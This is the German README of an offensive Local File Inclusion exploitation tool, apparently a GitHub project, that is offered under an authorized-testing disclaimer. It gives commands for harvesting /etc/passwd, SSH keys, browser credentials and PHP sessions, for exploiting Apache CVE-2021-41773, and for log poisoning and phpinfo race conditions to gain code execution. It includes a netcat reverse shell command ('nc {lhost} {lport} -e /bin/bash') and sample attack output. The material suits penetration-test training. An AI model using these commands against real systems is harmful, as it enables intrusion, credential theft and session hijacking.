
Dieses Programm fordert Sie zur Eingabe der Local File Inclusion-Informationen auf und durchsucht automatisch die /etc/passwd, und verwendet die gefundenen Benutzernamen, um nach jedem SSH key oder jeder Variation von keys zu suchen und diese auf den lokalen Computer herunterzuladen. Dieses Programm führt auch den CVE-2021-41773_ apache2.4.49 and 50 traversal path exploit aus. Zusätzlich zu anderen LFI Vuln.
🔥 LFI-Destruction – Autorisiertes Penetrationstest-Framework LFI-Destroyer ist ein umfassendes, modulares Local-File-Inclusion-(LFI)-Exploitation-Framework, das für autorisierte Sicherheitsexperten entwickelt wurde. Es kombiniert mehrere Angriffstechniken in einem einzigen, einfach zu bedienenden Werkzeug:
LFI-OSCP.py Ist die OSCP-EXAM-sichere Version, die 0 Auto-Exploits hat. Es ist im Grunde ein sehr hübscher Fuzzer, der, sobald er den Exploit bestätigt, manuelle Anweisungen zur Durchführung des Exploits ausgibt.
⚠️ RECHTLICHER HAFTUNGSAUSSCHLUSS Dieses Tool dient nur zu Bildungszwecken und autorisierten Sicherheitstests. Sie müssen die ausdrückliche schriftliche Erlaubnis des Systembesitzers haben, bevor Sie es verwenden. Unbefugter Zugriff auf Computersysteme ist illegal und unethisch. Der Autor übernimmt keine Haftung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
📦 Installation
# 1. Repository klonen
git clone https://github.com/RevShellXD/LFI-Destroyer.git
cd LFI-Destroyer
# 2. Abhängigkeiten installieren (nur colorama ist erforderlich; andere sind optional)
pip install colorama
# 3. Hauptskript ausführbar machen
chmod +x LFI-Destroyer.py
🚀 Schnellstart – Modus 1 (SSH / Browser-Artefakt-Fuzzing)
python3 LFI-Destroyer.py
Wählen Sie Linux oder Windows.
LFI-Destruction/ LFI-Destruction.py
modes/init.py ,mode3_phpinfo_race.py, mode4_upload_trigger.py, mode5_session_grabber.py
artifacts/
README.md
Wählen Sie Angriffsmodus 1.
Folgen Sie den Eingabeaufforderungen, um Ihren LFI-Endpunkt zu konfigurieren.
Das Skript wird automatisch Benutzer aufzählen, die Existenz überprüfen (Windows verwendet NTUSER.DAT-Beacon) und rekursiv nach SSH-Schlüsseln, Browser-Anmeldeinformationen und anderen sensiblen Dateien fuzzen.
Alle Artefakte werden im Verzeichnis ./artifacts/ gespeichert.
📝 Modus 2 – Log-Poisoning & Reverse Shell
python3 LFI-Destroyer.py --log-poisoning --log-vector ua
Oder interaktiv ausführen und Modus 2 auswählen.
Was passiert:
Benutzerdefinierte Reverse Shell:
python3 LFI-Destroyer.py --log-poisoning --log-vector ua --custom-shell "nc {lhost} {lport} -e /bin/bash"
Die Platzhalter {lhost} und {lport} werden durch Ihre Listener-IP/Port ersetzt.
🧪 BETA – Modus 3: phpinfo() Race Condition RCE Status: Beta – Funktioniert zuverlässig auf falsch konfigurierten PHP-Servern mit file_uploads=On und zugänglichem phpinfo().
Voraussetzungen:
Ausführen:
python3 LFI-Destroyer.py
# Modus 3 auswählen
LFI-Details wie gewohnt angeben Skript wird:
[*] Bruteforcing phpinfo.php (45 paths) ...
[+] Found phpinfo.php at http://192.168.1.100/phpinfo.php
[+] file_uploads=On (max size: 8M)
[+] Attempt race condition RCE? (y/N): y
[*] Race attempt 1/3 ...
[+] Extracted temporary file path: /tmp/phpABC123
[+] RCE confirmed via temporary file!
[!] LOG POISONING SUCCESSFUL! Ready to escalate to reverse shell.
🧪 BETA – Modus 4: Uploaded File Trigger Status: Beta – Geht davon aus, dass Sie bereits eine PHP-Shell hochgeladen haben (z.B. über eine andere Schwachstelle oder manuellen Upload). Das Skript verwendet dann LFI, um sie einzubinden und Befehle auszuführen.
Zwei Betriebsmodi:
Ausführen:
python3 LFI-Destroyer.py
# Modus 4 auswählen
Pfad oder 'brute' eingeben Skript wird:
Enter path to uploaded file (relative to web root), or 'brute' to try common locations: uploads/shell.php
[*] Trying uploads/shell.php ...
[+] SUCCESS! Shell executed at uploads/shell.php
[+] Command output:
www-data
Attempt reverse shell? (y/N): y
🧪 BETA – Modus 5: PHP-Session-Enumeration & Hijacking Status: Beta – Liest Session-Dateien aus session.save_path (ermittelt über phpinfo() oder Fallback-Wortliste), speichert sie und versucht bei Bedarf Base64-Dekodierung.
Ausführen:
python3 LFI-Destroyer.py
# Modus 5 auswählen
Session-ID oder 'list' zur Enumeration eingeben Beispiele:
Enter session ID to retrieve (PHPSESSID), or 'list' to enumerate: abc123
[*] Reading /var/lib/php/sessions/sess_abc123 ...
[+] Session file retrieved!
[--- SESSION DATA (raw) ---]
username|s:5:"admin";user_id|i:1;
Session-Verzeichnisliste (falls Directory-Indexing aktiviert):
Enter session ID to retrieve (PHPSESSID), or 'list' to enumerate: list
[+] Found 12 session files:
- sess_abc123
- sess_def456
...
Alle Session-Dateien werden unter artifacts/session_* gespeichert. Wenn die Daten base64-kodiert erscheinen, versucht das Skript automatisch den php://filter/convert.base64-decode-Bypass und speichert eine dekodierte Version.
🧠 Erweiterter Modus (-adv) Aktiviert zusätzliche LFI-Techniken:
python3 LFI-Destroyer.py -adv
⚙️ Befehlszeilen-Flags
Die Modi 3, 4 und 5 werden dynamisch aus dem Verzeichnis modes/ geladen. Sie können ganz einfach neue Modi hinzufügen, indem Sie eine Python-Datei mit einer run(config, fuzzer)-Funktion ablegen.
🧰 Anforderungen
📜 Lizenz & Autor Geschrieben von RevShellXD Lizenziert unter der MIT-Lizenz – kostenlos für autorisierte Sicherheitsexperten. Nur für Bildungszwecke und autorisierte Tests. Wenn Sie mit diesem Tool gegen das Gesetz verstoßen, sind Sie allein verantwortlich.
⭐ Stern & Beitragen Wenn Sie dieses Tool nützlich finden, geben Sie dem Repository bitte einen Stern auf GitHub. Pull Requests und Beiträge neuer Modi sind willkommen – folgen Sie dem einfachen Modul-Interface in modes/init.py.
| Flag | Beschreibung |
|---|
| --os {linux,windows} | Zielbetriebssystem erzwingen |
| --auto-depth | Durchquerungstiefe automatisch erkennen |
| --wordlist FILE | Benutzerdefinierte Dateipfad-Wortliste (überschreibt OS-Standard) |
| --userlist FILE | Benutzerdefinierte Windows-Benutzernamen (Modus 1) |
| --beacon-file PATH | Benutzerdefinierte Beacon-Datei (Standard: NTUSER.DAT) |
| --custom-shell CMD | Benutzerdefinierter Reverse-Shell-Befehl (verwende {lhost} und {lport}) |
| --log-poisoning | Modus 2 von der CLI aktivieren (keine interaktive Modusauswahl) |
| --log-vector {ua,referer,xff,header,param} | Injektionsvektor für Log-Poisoning |
| --log-header NAME | Benutzerdefinierter Header-Name (für Vektor=header) |
| --log-param NAME | Benutzerdefinierter Parametername (für Vektor=param) |
| --log-files FILE | Benutzerdefinierte Log-Pfad-Liste |
| --rce-command CMD | Testbefehl zur RCE-Verifizierung |
| --proxy URL | HTTP-Proxy (z.B. http://127.0.0.1:8080) |
| --rate FLOAT | Verzögerung zwischen Anfragen (Sekunden) |
| --output FILE | Ergebnisse als JSON speichern |
| --dry-run | Konfiguration testen – keine Anfragen gesendet |
| --no-color | Farbige Ausgabe deaktivieren |